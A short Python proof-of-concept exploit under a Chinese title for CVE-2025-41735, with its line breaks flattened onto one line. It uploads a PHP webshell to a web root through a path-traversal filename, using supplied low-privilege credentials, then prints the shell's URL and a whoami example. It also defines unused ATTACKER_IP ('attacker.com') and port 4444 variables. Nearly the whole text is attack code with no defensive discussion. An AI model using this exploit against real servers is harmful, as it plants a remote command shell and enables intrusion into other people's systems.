CVE-2025-41735 任意文件上传导致远程代码执行漏洞

import requests import sys # CVE-2025-41735 PoC - Arbitrary File Upload leading to RCE # Target: Vulnerable application with file upload functionality # Author: Security Researcher TARGET_URL = "http://target.com/upload" # Replace with actual target URL ATTACKER_IP = "attacker.com" ATTACKER_PORT = "4444" def create_webshell(): """Generate PHP webshell for command execution""" php_shell = f"<?php system($_GET['cmd']); ?>" return php_shell def upload_file(): """Upload malicious file to arbitrary location""" webshell = create_webshell() # Construct file upload request # The vulnerability allows uploading to arbitrary paths files = { 'file': ('../../../../var/www/html/shell.php', webshell, 'application/x-php') } # Optional: Add authentication if required auth = ('low_priv_user', 'password') # Adjust credentials try: response = requests.post(TARGET_URL, files=files, auth=auth, timeout=10) print(f"[+] Upload Response: {response.status_code}") print(f"[+] Response Body: {response.text}") # If successful, provide the shell location shell_url = "http://target.com/shell.php" print(f"[+] Webshell uploaded to: {shell_url}") print(f"[+] Execute commands: {shell_url}?cmd=whoami") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1) if __name__ == "__main__": print("[*] CVE-2025-41735 PoC - Arbitrary File Upload RCE") upload_file()